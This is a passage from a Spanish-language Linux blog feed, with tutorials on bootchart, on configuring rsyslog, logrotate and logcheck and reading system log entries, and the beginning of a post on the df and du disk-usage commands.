<ul><li><b>TMPFS_SIZE=32m</b> Le permite ajustar la cantidad de memoria dedicada para registrar datos. El valor por defecto es 32 MB, lo que equivale aproximadamente a 20 minutos de registro de datos.</li>
<li><b>SAMPLE_PERIOD=0.2</b> Le permite ajustar la frecuencia de registro de datos, expresada en segundos. El valor por defecto es 0,2 (segundos).</li>
<li><b>PROCESS_ACCOUNTING="yes"</b> Ofrece una reconstrucción del árbol de procesos más exacta. Para que funcione deberá compilar la opción <b>BSD Process Accounting version 3 file format</b> <i>CONFIG_BSD_PROCESS_ACCT_V3</i> en el kernel.</li>
<li><b>AUTO_RENDER="yes"</b> Le permite indicar si desea generar una imagen con el proceso de inicio del sistema.</li>
<li><b>AUTO_RENDER_FORMAT="png"</b> Especifica el formato de la imagen generada. Los formatos admitidos son png, svg y eps.</li>
<li><b>AUTO_RENDER_DIR="/var/log"</b> Especifica el directorio donde se generará la imagen con el proceso de carga</li>
</ul><br />
En caso de que decida desactivar la generación de la imagen (<b>AUTO_RENDER="no"</b>), podrá generar la imagen manualmente con el comando <span class="Apple-style-span" style="color: blue;">bootchart</span>. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201105180049","slide"); return false">[+/-] Ver ejemplo</a><br />
<div id="201105180049" style="display: none;"><pre class="brush: shell">agd-desktop # bootchart
Parsing /var/log/bootchart.tgz
Wrote image: ./bootchart.png</pre></div><br />
<b>Resultado final</b><br />
A continuación les muestro la imagen con el proceso de arranque de mi sistema. En la imagen se puede observar cuatro bloques claramente diferenciados.<br />
<ul><li><b>Primer bloque (texto)</b> Contiene información sobre el sistema: versión del kernel (2.6.37-gentoo-r4), CPU (i7 920), opciones pasadas al kernel (<i>ninguna</i>) y el tiempo total de carga (23 segundos).</li>
<li><b>Segundo bloque (gráfico)</b> Información de uso de CPU y operaciones <a href="http://es.wikipedia.org/wiki/Entrada/salida">E/S</a>.</li>
<li><b>Tercer bloque (gráfico)</b> Información sobre rendimiento y utilización del disco.</li>
<li><b>Cuarto bloque (gráfico)</b> Esquema detallado de los procesos iniciados, tiempos, procentaje de uso de CPU...</li>
</ul><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAzNMlqT26BAfaS5LvwmXigrGmGfnRbYLaXngxqfgZY8HVWpBrMKb8LKUaKyXNXye2PAIJ9SvTcXf0SHEplbCC3QSGdtLIm8dLdNgfr7GniBCVkjglldcLSzXaQqptVAOSm0T6uqJ2-X8/s1600/20110512+2049+baselayout+1.x+bootchart.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAzNMlqT26BAfaS5LvwmXigrGmGfnRbYLaXngxqfgZY8HVWpBrMKb8LKUaKyXNXye2PAIJ9SvTcXf0SHEplbCC3QSGdtLIm8dLdNgfr7GniBCVkjglldcLSzXaQqptVAOSm0T6uqJ2-X8/s1600/20110512+2049+baselayout+1.x+bootchart.png" /></a></div>Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com0tag:blogger.com,1999:blog-507892079964167031.post-20002396092568940882011-05-11T15:19:00.015+02:002011-07-06T11:50:09.039+02:00Gestión de archivos de registro del sistemaLinux mantiene archivos donde se registran diversos detalles sobre el funcionamiento del sistema. Tradicionalmente el encargado de registro del sistema ha sido <a href="http://www.syslog.org/">syslogd</a> sin embargo este ha sido desplazado por otras opciones más avanzadas tales como <a href="http://www.balabit.com/products/syslog_ng/">syslog-ng</a> y <a href="http://www.rsyslog.com/">rsyslogd</a>. Todas las herramientas de registro vienen con un archivo de configuración básico para registrar los eventos más importantes del sistemas. En este tutorial usted aprenderá a cambiar la configuración de la herramienta de registro así como interpretar los archivos de registro.<br />
<a name='more'></a> <br />
<fieldset class="fieldset-bordertb"><legend class="fieldset-legendtb">Tabla de contenidos</legend><ul><li><a href="#1">Herramientas de registro</a>.</li>
<li><a href="#2">El archivo de configuración de rsyslog</a></li>
<li><a href="#3">Definir las opciones de registro</a>.</li>
<ul><li class="li2snd"><a href="#3-1">Servicios</a>.</li>
<li class="li2snd"><a href="#3-2">Prioridad</a>.</li>
<li class="li2snd"><a href="#3-3">Acción</a>.</li>
</ul><li><a href="#4">Registrar mensajes a través de logger</a>.</li>
<li><a href="#5">Rotar los archivos de registro</a>.</li>
<li><a href="#6">Interpretar los archivos de registro</a>.</li>
<li><a href="#7">Herramientas avanzadas de análisis de registro: Logcheck</a>.</li>
<li class="li2snd"><a href="#7-1">1.- Permitir el acceso de logcheck a los archivos de registro</a>.</li>
<li class="li2snd"><a href="#7-2">2.- Ajustar la configuración de /etc/logcheck/logcheck.conf</a>.</li>
<li class="li2snd"><a href="#7-3">3.- Ajustar la configuración de /etc/logcheck/logcheck.logfiles</a>.</li>
<li class="li2snd"><a href="#7-4">4.- Ajustar la configuración de /etc/cron.hourly/logcheck.cron</a>.</li>
</ul></fieldset><br />
<br />
<a name="1"><b>Herramientas de registro</b></a><br />
Tradicionalmente el encargado del registro del sistema ha sido <b>syslogd</b> para gestionar los mensajes de servidores y programas en modo usuario, y <b>klogd</b> para gestionar el registro de los mensajes del kernel. Tanto syslogd como klogd se incluían en el paquete <a href="http://www.infodrom.org/projects/sysklogd/">sysklogd</a>. Sin embargo han sido sustituidos por otras opciones más versátiles como <a href="http://metalog.sourceforge.net/">metalog</a>, <a href="http://www.balabit.com/products/syslog_ng/">syslog-ng</a> y <a href="http://www.rsyslog.com/">rsyslogd</a>. Siendo <b>syslog-ng</b> y <b>rsyslog</b> las opciones más interesantes.<br />
<br />
No se va a discutir sobre que opción es mejor, sin embargo rsyslog es la opción por defecto más extendida, incluyendo distribuciones tales como CentOS, Debian, Fedora, Red Hat o Ubuntu. Por ello nos centraremos en rsyslog, sin embargo todas las opciones son muy parecidas en su configuración especialmente en cuanto a las definiciones de opciones de registro que heredan la estructura <i>servicio.prioridad acción</i> del sistema de registro syslogd. El caso de syslog-ng es un poco especial ya que las opciones de registro siguen un formato, que aunque recuerdan a syslogd, es diferente.<br />
<br />
<br />
<a name="2"><b>El archivo de configuración de rsyslog</b></a><br />
El archivo de configuración de rsyslog se localiza en <span class="Apple-style-span" style="color: #999999;">/etc/rsyslog.conf</span>, y adicionalmente podrá encontrar definiciones de opciones de registro en <span class="Apple-style-span" style="color: #999999;">/etc/rsyslog.d/</span>. <br />
<br />
La estructura básica del archivo se reduce en comentarios, demarcados con el símbolo de la almohadilla (#), directivas especificas, demarcadas con el símbolo del dolar ($), y las líneas de opciones de registro que son aquellas que no comienzan por # ni $.<br />
<br />
A continuación expondremos el archivo de configuración de rsyslog y comentaremos las directivas específicas más comunes.<br />
<pre class="brush: shell">agd-desktop # nano /etc/rsyslog.conf
# rsyslog v5: load input modules
# If you do not load inputs, nothing happens!
# You may need to set the module load path if modules are not found.
$ModLoad immark.so # provides --MARK-- message capability
$ModLoad imuxsock.so # provides support for local system logging (e.g. via logger command)
$ModLoad imklog.so # kernel logging (formerly provided by rklogd)
# Include configuration files from directory
$IncludeConfig /etc/rsyslog.d/*
# Check config syntax on startup and abort if unclean (default off)
#$AbortOnUncleanConfig on
# Reduce repeating messages (default off)
#$RepeatedMsgReduction on</pre><br />
<ul><li>Líneas 5, 6 y 7: directiva de carga de módulos ($ModLoad nombre-modulo). Por defecto se cargan los módulos de marcado de mensajes, de registro de mensajes a través de sockets y de registro de mensajes del kernel. Existen muchos otros módulos, si desea conocer más consulte la <a href="http://www.rsyslog.com/doc/rsyslog_conf_modules.html">lista de módulos de rsyslog</a>.</li>
<li>Línea 10: directiva que indica donde se encuentran los archivos de configuración con las opciones de registro.</li>
<li>Línea 13: esta directiva hace que rsyslog revise los archivos de configuración y en caso de detectar errores aborte el registro de mensajes.</li>
<li>Línea 16: directiva para evitar el registro de mensajes repetitivos.</li>
</ul><br />
Otras directivas de rsyslog, aquí no mostradas, pero muy interesantes son aquellas que permiten definir los permisos, propietario y grupo de los archivos y directorios creados. Estas directivas son:<ul><li>$umask 0000</li>
<li>$DirCreateMode 0640</li>
<li>$FileCreateMode 0640</li>
<li>$FileOwner rsyslog</li>
<li>$FileGroup rsyslog</li>
<li>$DirOwner rsyslog</li>
<li>$DirGroup rsyslog</li>
</ul><br />
Si desea saber más puede consultar la <a href="http://www.rsyslog.com/doc/rsyslog_conf_global.html">lista de directivas de rsyslog</a>.<br />
<br />
<a name="3"><b>Definir las opciones de registro</b></a><br />
La definición de las opciones de registro sigue el formato definido por syslogd <i>servicio.prioridad acción</i>. Donde el <i>servicio</i> es el código del programa que generó el mensaje a registrar, la <i>prioridad</i> es el nivel de importancia del mensaje y la <i>acción</i> es el archivo, servidor de registro remoto, terminal o ubicación donde quedará registrado el mensaje del evento.<br />
<br />
<a name="3-1"><b>Servicios</b></a><br />
<ul><li><b>auth</b> mensajes de seguridad y autorizaciones.</li>
<li><b>authpriv </b>mensajes de seguridad y autorizaciones (Privado).</li>
<li><b>cron </b>demonios periódicos tales como cron, anacron, at...</li>
<li><b>daemon </b>otros demonios del sistema.</li>
<li><b>ftp </b>mensajes del subsistema ftp.</li>
<li><b>kern </b>mensajes del núcleo.</li>
<li><b>lpr </b>mensajes del subsistema de impresión.</li>
<li><b>mail</b> mensajes del subsistema de correo.</li>
<li><b>mark </b>mensajes internos del subsistema de registro.</li>
<li><b>news </b>mensajes del susbsistema de noticias.</li>
<li><b>security </b>idéntico a auth. security está en desuso.</li>
<li><b>syslog </b>mensajes del demonio de registro.</li>
<li><b>user </b>mensajes de aplicaciones de usuario.</li>
<li><b>uucp </b>mensajes del subsistema uucp.</li>
<li><b>local0... local7 </b>reservados para uso local.</li>
</ul><br />
Puede especificar varios servicios en una misma línea separando-los mediante comas (,). Además puede hacer referencia a todos lo servicios usando el asterisco (*).<br />
<br />
<a name="3-2"><b>Prioridad</b></a><br />
Los niveles de prioridad están ordenados en orden ascendente de importancia. Así el primer nivel, debug, tiene un nivel de importancia mínimo mientras que el último nivel, emerg, registra los mensajes de mayor importancia.<br />
<ul><li><b>none </b>deshabilita el reporte.</li>
<li><b>debug </b>mensajes de salida de depuración. Registra los problemas de menor importancia.</li>
<li><b>info </b>mensajes de tipo informativo.</li>
<li><b>notice </b>mensajes de llamada de atención.</li>
<li><b>warning </b>mensajes de aviso.</li>
<li><b>warn </b>sinónimo de warning. warn está en desuso.</li>
<li><b>err </b>mensajes de error.</li>
<li><b>error</b> sinónimo de err. error está en desuso.</li>
<li><b>crit </b>mensajes de error crítico, como fallos de hardware...</li>
<li><b>alert</b> mensajes de alerta, se requiere acción inmediata.</li>
<li><b>emerg</b> mensajes de sistema inestable. Registra los problemas de mayor importancia.</li>
<li><b>panic </b>sinónimo de emerg. panic está en desuso.</li>
</ul><br />
Debe tener en cuenta de que el sistema registrará todos los mensajes con un código de prioridad igual o superior al indicado. Es decir, si usted especifica como nivel de prioridad err, el sistema registrada todos los mensajes con una prioridad equivalente a err, crit, alert y emerg.<br />
<blockquote class="pullquote">Note que los servicios se separan con comas (,) y las prioridades con punto y coma (;).</blockquote>Si desea registrar un nivel de prioridad concreto, puede hacer uso del signo de igualdad (=), como por ejemplo =err. Además puede hacer uso del signo de admiración (!) para negar un nivel, así por ejemplo el nivel de prioridad !err registrará todos los mensajes con un nivel crit, alert y emerg.. El asterisco (*) indica todos los niveles de prioridad.<br />
<br />
Recuerde que puede especificar varias prioridades en una misma línea separando-las mediante punto y coma (;).<br />
<br />
<a name="3-3"><b>Acción</b></a><br />
La acción más habitual es registrar el evento en un archivo, normalmente situado en <span class="Apple-style-span" style="color: #999999;">/var/log</span>. En <span class="Apple-style-span" style="color: #999999;">/var/log</span>, en función de su distribución, encontrará diversos archivos de registro. Sin embargo en todas las distribuciones encontrará al menos el archivo <span class="Apple-style-span" style="color: #999999;">/var/log/messages</span>. Además de archivar localmente los mensajes, la mayoría de herramientas de registro permiten:<br />
<ul><li><b>/dev/console o /dev/ttyX </b>Imprime los mensajes en todos los terminales (/dev/console) o en la consola indicada, por ejemplo /dev/tty12 imprime los mensajes en la consola virtual correspondiente a ALT+F12.</li>
<li><b>@servidor:puerto </b>Envía los mensajes al servidor:puerto indicado. El servidor debe estar configurado para recibir los mensajes de registro.</li>
<li><b>user1, user2 </b>Envía los mensajes a los usuarios user1 y user2 en caso de que estén conectado.</li>
<li><b>* </b>Envía los mensajes a todos los usuarios conectados.</li>
</ul><br />
Además puede hacer uso del signo menos (-) para indicar que tras registrar un suceso, este no se escriba inmediatamente en el disco duro, quedando por tanto el mensaje en el buffer a la espera de ser escrito en el archivo de registro. Esta opción es interesante si cree que se van a generar muchos mensajes no críticos.<br />
<br />
A continuación expondremos las opciones de registro que trae por defecto la herramienta de registro rsyslog, y posteriormente se comentarán:<br />
<pre class="brush: shell; first-line: 17;">agd-desktop # nano /etc/rsyslog.conf
# Log all kernel messages to the console.
# Logging much else clutters up the screen.
#kern.* /dev/console
# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none;cron.none -/var/log/messages
# The authpriv file has restricted access.
authpriv.* /var/log/secure
# Log all the mail messages in one place.
mail.* -/var/log/maillog
# Log cron stuff
cron.* -/var/log/cron
# Everybody gets emergency messages
*.emerg *
# Save news errors of level crit and higher in a special file.
uucp,news.crit -/var/log/spooler
# Save boot messages also to boot.log
local7.* /var/log/boot.log
</pre><ul><li><b>Línea 20:</b> se encuentra comentada, y por tanto la opción de registro esta desactivada. Si activa esa opción, cualquier mensaje del kernel (servicio kern) independientemente de su prioridad (*) se mostrará en todas las consolas (/dev/console).</li>
<li><b>Línea 24:</b> Se han definido varias prioridades de registro, que serán guardada en el buffer temporalmente antes de ser escritas en /var/log/messages. Se registrarán los mensajes de cualquier servicio (*) con un nivel de prioridad igual o superior a info (nivel más bajo exceptuando al nivel de depuración debug) menos los mensajes generados por los servicios mail, authpriv y cron.</li>
<li><b>Línea 27:</b> Se registrarán todos los mensajes de seguridad y autorizaciones privados, independientemente de la prioridad (*), en el fichero /var/log/secure. Además los mensajes serán escritos inmediatamente al disco.</li>
<li><b>Línea 30 y 33:</b> Se registrarán todos los mensajes del subsistema de correo (mail) y tareas programadas (cron) independientemente de su prioridad en los archivos /var/log/maillog y /var/log/cron respectivamente. En este caso, su escritura a disco no será inmediata.</li>
<li><b>Línea 36:</b> Los mensajes de máximo nivel de prioridad (emerg), independientemente del servicio que lo emita, serán enviados a todos a todas las consolas de los usuarios logados en el sistema.</li>
<li><b>Línea 39:</b> Se han definido varios servicios para una misma prioridad. Los mensajes provenientes de uucp y news, con prioridad igual o superior a crit, serán guardados temporalmente en el buffer hasta su escritura en disco en el archivo /var/log/spooler.</li>
<li><b>Línea 42:</b> Guarda todo los mensajes generados durante el inicio del sistema en /var/log/boot.log</li>
</ul><br />
<a name="4"><b>Registrar mensajes a través de logger</b></a><br />
En determinadas circunstancias puede que desee crear entradas de registros de sucesos del sistemas; ya sea de forma manual o en un script que lleve a cabo tareas de mantenimiento. Para esta taréa puede hacer uso de <b>logger</b> el cual tiene la siguiente sintaxis: <i>logger [opciones] mensaje</i>. Las opciones de logger son:<br />
<ul><li><b>-i</b> Indica a logger que registre su PID (ID de proceso)</li>
<li><b>-s</b> Además de enviar el mensaje a la herramienta de registro, envía la salida al error estándar. Le será útil en scripts interactivos.</li>
<li><b>-d</b> Indica a loger que use datagramas en lugar de una conexión <i>stream</i> al socket del registrador del sistema. Si no sabe lo que esta haciendo, no use esta opción.</li>
<li><b>-f</b> Direcciona el contenido de un archivo al registrador del sistema.</li>
<li><b>-p <i>prioridad</b></i> Le permite especificar la prioridad del mensaje a enviar al registrador del sistema.</li>
<li><b>-t <i>etiqueta</i></b> Le permite indicar una etiqueta para el mensaje a enviar al registrador del sistemas</li>
<li><b>-u <i>socket</i></b> Por defecto logger envía el mensaje al registrador del sistema, si usted quiere alterar este comportamiento y registrar directamente en un socket puede indicarlo con esta opción.</li>
</ul><br />
A continuación mostraremos un ejemplo del uso de logger:<br />
<pre class="brush: shell">agd-desktop # logger -p emerg Registrar un mensaje via logger
agd-desktop #
Message from syslogd@agd-desktop at May 10 10:16:56 ...
agd: Registrar un mensaje via logger
agd-desktop # tail -n 1 /var/log/messages
2011-05-10T10:16:56.544761+02:00 agd-desktop agd: Registrar un mensaje via logger
</pre><br />
<a name="5"><b>Rotar los archivos de registro</b></a><br />
Si los archivos de registro no se controlan pueden llegar crecer en exceso, incluso hasta agotar el espacio de la partición. Para evitar estos problemas se usan herramientas de rotación, las cuales renombran y comprimen los archivos de registro, borran los antiguos y obligan al registrador del sistema a usar nuevos archivos. La herramienta más común para esta tarea se denomina <b>logrotate</b>, el cual es invocado a través de una tarea cron.<br />
<br />
El archivo de configuración se localiza en <span class="Apple-style-span" style="color: #999999;">/etc/logrotate.conf</span>, y normalmente hace referencia a los archivos de definiciones alojados en <span class="Apple-style-span" style="color: #999999;">/etc/logrotate.d/</span>. Algunos programas que registran datos, especialmente los servidores, hacen uso del demonio de registro del sistema; en otros casos mantienen su propio registro y hacen uso de la utilidad de rotación de registros del sistema. En estos casos los programas suelen incorporar un archivo de configuración que es copiado a <span class="Apple-style-span" style="color: #999999;">/etc/logrotate.d/</span> para controlar el tamaño de los archivos de registro. A Continuación mostraremos las opciones básicas del archivo de configuración de logrotate:<br />
<pre class="brush: shell">agd-desktop # /etc/logrotate.conf
# $Header: /var/cvsroot/gentoo-x86/app-admin/logrotate/files/logrotate.conf,v 1.3
#
# Logrotate default configuration file for Gentoo Linux
#
# use date as a suffix of the rotated file
dateext
# uncomment this if you want your log files compressed
compress
# packages can drop log rotation information into this directory
include /etc/logrotate.d
notifempty
nomail
noolddir
# no packages own lastlog or wtmp -- we'll rotate them here
/var/log/wtmp {
monthly
create 0664 root utmp
rotate 1
}
/var/log/btmp {
missingok
monthly
create 0600 root utmp
rotate 1
}
# system-specific logs may be also be configured here.</pre><br />
El archivo de configuración de logrotate se estructura en comentarios, demarcados con el símbolo de la almohadilla (#), definiciones genéricas y definiciones de registro específico, demarcados por la ruta hasta el archivo de registro y encerrado entre llaves ({ }) las definiciones para ese registro específico. Algunas de las definiciones posibles son:<br />
<ul><li><b>dateext</b> El archivo de registro rotado se demarcará con la fecha en lugar de con un número. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201105101442","slide"); return false">[+/-] Ver ejemplo</a><div id="201105101442" style="display: none;"><pre class="brush: shell">agd-desktop # ls -goh /var/log/messages-2011[4-5]*
-rw------- 1 105K abr 15 05:50 /var/log/messages-20110415.gz
-rw------- 1 40K abr 22 05:50 /var/log/messages-20110422.gz
-rw------- 1 83K abr 29 05:50 /var/log/messages-20110429.gz
-rw------- 1 153K may 6 05:50 /var/log/messages-20110506.gz</pre></div></li>
<li><b>compress</b> Indica a logrotate que comprima el archivo de registro tras ser rotado. Por defecto logrotate emplea <i>gzip</i>, sin embargo puede cambiar la herramienta de compresión empleando <b>compresscmd <i>programa</i></b>, así por ejemplo si desea usar bzip2 debería indicar <i>compresscmd bzip2</i>. Además puede pasar opciones a la herramienta de compresión con <b>compressoptions <i>opciones</i></b>.</li>
<li><b>create</b> Indica a logrotate que cree un nuevo archivo de registro tras la rotación. Esta opción puede recibir parámetros adicionales para indicar los permisos, el propietario y el grupo del fichero, como por ejemplo <i>create 0664 root root</i>.</li>
<li><b>daily</b>, <b>weekly</b> y <b>monthly</b> Indican la frecuencia de rotación de los archivos de registro.</li>
<li><b>size</b> Define el tamaño máximo de un archivo de registro. Al alcanzar el tamaño máximo el archivo será rotado. Puede indicar el tamaño en bytes o en kilobytes (K) o megabytes (M), así por ejemplo <i>size 100k</i> hará que logrotate rote el archivo de registro una vez alcanzado los 100 KB.</li>
<li><b>rotate <i>x</i></b> Indica cuantas rotaciones deben ser conservadas. Así por ejemplo <i>rotate 4</i> conservará 4 archivos de registros antiguos (rotados) además del archivo en uso.</li>
<li><b>mail <i>dirección</i></b> Indicará a logrotate que envié los archivos de registro antiguos a la dirección indicada cuando roten para desaparecer.</li>
<li><b>prerotate</b> y <b>postrotate</b> Inician líneas de script a ejecutar antes o después de la rotación. El final del script a ejecutar se define con la palabra <b>endscript</b>. Estos comandos se suelen utilizar para indicar a la herramienta de registro que empiece a utilizar un nuevo archivo de registro. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201105101543","slide"); return false">[+/-] Ver ejemplo</a></li>
</ul><div id="201105101543" style="display: none;"><pre class="brush: shell">agd-desktop # cat /etc/logrotate.d/rsyslog
# Copyright 1999-2010 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/app-admin/rsyslog/files/5-stable/rsyslog.logrotate,v 1.1 2010/10/21 07:38:29 dev-zero Exp $
/var/log/messages /var/log/secure /var/log/maillog /var/log/cron /var/log/spooler /var/log/boot.log {
sharedscripts
postrotate
/etc/init.d/rsyslog reload &>/dev/null || true
endscript
}
</pre></div><br />
<a name="6"><b>Interpretar los archivos de registro</b></a><br />
La finalidad de los archivos de registro es servir como medio para identificar funcionamientos anómalos o problemas en el sistema. Por ello es importante saber interpretar y trabajar con los archivos de registro del sistema.<br />
<br />
El formato de los mensajes de registro es muy similar, independientemente del demonio que emplee para registrar-los. Sin embargo recuerde que en este caso se trabaja con rsyslog por lo que pueden aparecer ligeras discrepancias con otras herramientas de registro.<br />
<br />
En el caso de rsyslog, el formato por defecto de los mensajes de registro es: <i>FechaHora hostname programa[PID] mensaje</i>. A continuación mostraremos algunos ejemplos:<br />
<pre class="brush: shell">2011-05-10T16:03:09.631711+02:00 agd-desktop kernel: [394083.122379] chrome[10865]: segfault at 0 ip 00007fc11ecbcc84 sp 00007fffe5520d70 error 4 in libflashplayer.so[7fc11e93f000+9be000]
2011-05-10T21:53:22.925831+02:00 agd-desktop gnome-session[30498]: WARNING: GSIdleMonitor: Unable to initialize Sync extension
2011-05-10T21:53:23.040807+02:00 agd-desktop gnome-keyring-daemon[30489]: GLib-GIO: Using the 'memory' GSettings backend. Your settings will not be saved or shared with other applications.
2011-05-10T23:09:25.341043+02:00 agd-desktop su[31506]: pam_unix(su:auth): authentication failure; logname=agd uid=1000 euid=0 tty=/dev/pts/3 ruser=agd rhost= user=root
2011-05-10T23:09:28.045834+02:00 agd-desktop su[31506]: pam_authenticate: Authentication failure
2011-05-10T23:09:28.046433+02:00 agd-desktop su[31506]: FAILED su for root by agd
2011-05-10T23:09:28.046521+02:00 agd-desktop su[31506]: - /dev/pts/3 agd:root
</pre><ul><li><b>Línea 1:</b> Se trata de un error de segmentación (violación de acceso) como queda patente en el comienzo del mensaje (detrás del nombre de host: agd-desktop) con <i>kernel: [394083.122379]</i>. El mensaje ha sido registrado por el programa <i>chrome</i> con PID <i>10865</i> y el error que ha enviado es: <i>segfault at 0 ip 00007fc11ecbcc84 sp 00007fffe5520d70 error 4 in libflashplayer.so[7fc11e93f000+9be000]</i> del cual se puede deducir que se debe a un problema con la biblioteca compartida de flash.</li>
<li><b>Línea 2:</b> El error ha sido enviado por <i>gnome-session</i>, con PID <i>30498</i>. El mensaje de error indica que no ha sido posible inicializar la extensión de sincronización.</li>
<li><b>Línea 3:</b> El mensaje ha sido enviado por <i>gnome-keyring-daemon</i> con PID <i>30489</i>.</li>
<li><b>Líneas 4, 5, 6 y 7:</b> El mensaje ha sido enviado por <i>su</i> con PID <i>31506</i>, e indica un fallo en la validación del usuario agd (<i>ruser=agd</i>), desde el propio host (<i>rhost=</i>), hacia el usuario root (<i>user=root</i>). Además se nos informa de que el intento fallido de acceso se produjo a través del terminal virtual número 3 (<i>/dev/pts/3</i>).</li>
</ul><br />
Para trabajar con los archivos de registro deberá usar herramientas que permitan filtrar por palabras claves, como por ejemplo <b>grep</b>, o de herramientas avanzadas de análisis de registro como por ejemplo <a href="http://logcheck.org/">Logcheck</a>.<br />
<br />
<br />
<a name="7"><b>Herramientas avanzadas de análisis de registros: Logcheck</b></a><br />
Los creadores de Logcheck entienden que por defecto todos los mensajes son interesantes excepto aquellos que han sido marcados explícitamente como ruido, y por ello Logcheck exige una alta personalización. Si usted no es excesivamente paranoico, puede usar la base de datos de mensajes de registros comunes y sin interés, para filtrar el ruido, ya incluido con la herramienta logcheck.<br />
<br />
En cualquier caso, ya sea usted quien define que es ruido o no, o use la base de datos de Logcheck, tras instalar-lo deberá llevar a cabo una configuración básica.<br />
<br />
<a name="7-1"><b>1.- Permitir el acceso de logcheck a los archivos de registro</b></a><br />
Logcheck ha sido ideado para funcionar sin privilegios de superusuario, de hecho no puede ser ejecutado como root, por lo que debe configurar rsyslog de forma que permita la lectura de los archivos de registros a los miembros del grupo logcheck. Para ello tan solo deberá agregar las siguientes directivas al archivo de configuración de rsyslog:<ul><li>$FileCreateMode 0640</li>
<li>$FileOwner rsyslog</li>
<li>$FileGroup logcheck</li>
</ul><br />
Recuerde que deberá recargar la configuración de rsyslog, reiniciando el demonio o pasando-le la opción <i>reload</i>.<br />
<br />
<a name="7-2"><b>2.- Ajustar la configuración de /etc/logcheck/logcheck.conf</b></a><br />
Al menos deberá ajustar el nivel de filtrado (<i>REPORTLOVEL=""</i>) y la dirección de correo donde quiere recibir los reportes (<i>SENDMAILTO=""</i>). Aunque es recomendable que revise todo el archivo de configuración.<br />
<pre class="brush: shell"># Controls the level of filtering:
# Can be Set to "workstation", "server" or "paranoid" for different
# levels of filtering. Defaults to server if not set.
REPORTLEVEL="server"
# Controls the address mail goes to:
# *NOTE* the script does not set a default value for this variable!
# Should be set to an offsite "emailaddress@some.domain.tld"
SENDMAILTO="antonio@makeinstall.es"</pre><br />
<a name="7-3"><b>3.- Ajustar la configuración de /etc/logcheck/logcheck.logfiles</b></a><br />
A continuación deberá indicar a Logcheck los archivos de registro que deberá escanear, filtrar y reportar a la dirección indicada.<pre class="brush: shell">agd-desktop # nano /etc/logcheck/logcheck.logfiles
# these files will be checked by logcheck
# This has been tuned towards a default syslog install
/var/log/syslog
/var/log/auth.log</pre><br />
<a name="7-4"><b>4.- Ajustar la configuración de /etc/cron.hourly/logcheck.cron</b></a><br />
En este punto usted tan solo deberá descomentar la tarea cron de <span class="Apple-style-span" style="color: #999999;">/etc/cron.hourly/logcheck.cron</span> para comenzar a recibir reportes de <i>alta calidad</i> en su correo electrónico.dirección indicada.<pre class="brush: shell">agd-desktop # nano /etc/cron.hourly/logcheck.cron
#!/bin/bash
#
# Please uncomment the following if you want logcheck to run hourly.
#su -s /bin/bash -c /usr/sbin/logcheck logcheck</pre>Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com4tag:blogger.com,1999:blog-507892079964167031.post-75071494134205947482011-05-04T13:06:00.003+02:002011-06-27T21:05:40.531+02:00Descubre los comandos df y duLos comandos <a href="http://linux.about.com/od/commands/l/blcmdl1_df.htm">df</a> y <a href="http://linux.about.com/library/cmd/blcmdl1_du.htm">du</a> son herramientas que le permitirán monitorizar el uso del disco en función de las particiones y los directorios, respectivamente.<br />
<a name='more'></a><br />
<br />
<b>Monitorizar el uso del disco por particiones</b><br />
El comando df le permite monitorizar el uso del disco por particiones, lo cual le permitirá reconocer las particiones que están a punto de desbordarse. La sintaxis del comando es <span class="Apple-style-span" style="color: blue;">df <i>opciones</i></span>. Al usar df sin ninguna opción obtendrá una salida similar a la siguiente:<br />
<pre class="brush: shell">agd-server # df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/vda2 6141248 5147480 993768 84%
udev 10240 44 10196 1% /dev
/dev/vda1 49574 42442 4572 91% /boot
shm 1030536 0 1030536 0% /dev/shm
192.168.1.20:/usr/portage
457728 283648 148480 66% /usr/portage
192.168.1.20:/usr/portage/distfiles 8523776 2672640 5419008 34% /usr/portage/distfiles
192.168.1.20:/media/net-rw/donkey/incoming 480719872 158326784 297974784 35% /media/p2p/mldonkey
192.168.1.20:/media/net-rw/donkey/temp 480719872 158326784 297974784 35% /home/p2p/mldonkey/temp
192.168.1.20:/tmp 16382976 45056 15505408 1% /tmp</pre>Las opciones disponibles son:<br />
<ul><li><b><i>-a</i></b>, <b><i>--all</i></b> Incluye los pseudo sistemas de archivos tales como <span class="Apple-style-span" style="color: #666666;">/proc</span>, <span class="Apple-style-span" style="color: #666666;">/sys</span>... <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201104291853","slide"); return false">[+/-] Ver ejemplo</a></li>
</ul><div id="201104291853" style="display: none;"><pre class="brush: shell">agd-server # df -a
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/vda2 6141248 5147504 993744 84% /
proc 0 0 0 - /proc
sysfs 0 0 0 - /sys
udev 10240 44 10196 1% /dev
devpts 0 0 0 - /dev/pts
/dev/vda1 49574 42442 4572 91% /boot
shm 1030536 0 1030536 0% /dev/shm
192.168.1.20:/usr/portage 457728 283648 148480 66% /usr/portage
192.168.1.20:/usr/portage/distfiles 8523776 2672640 5419008 34% /usr/portage/distfiles
192.168.1.20:/media/net-rw/donkey/incoming 480719872 158377984 297923584 35% /media/p2p/mldonkey
192.168.1.20:/media/net-rw/donkey/temp 480719872 158377984 297923584 35% /home/p2p/mldonkey/temp
192.168.1.20:/tmp 16382976 45056 15505408 1% /tmp</pre></div><ul><li><i style="font-weight: bold;">-h</i>, <b style="font-style: italic;">--human-readable </b>Cambia la escala a un formato legible, así por ejemplo en lugar de indicar que una partición tiene 6141248 bloques le informará que tiene 5,9 GB. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201104291954","slide"); return false">[+/-] Ver ejemplo</a></li>
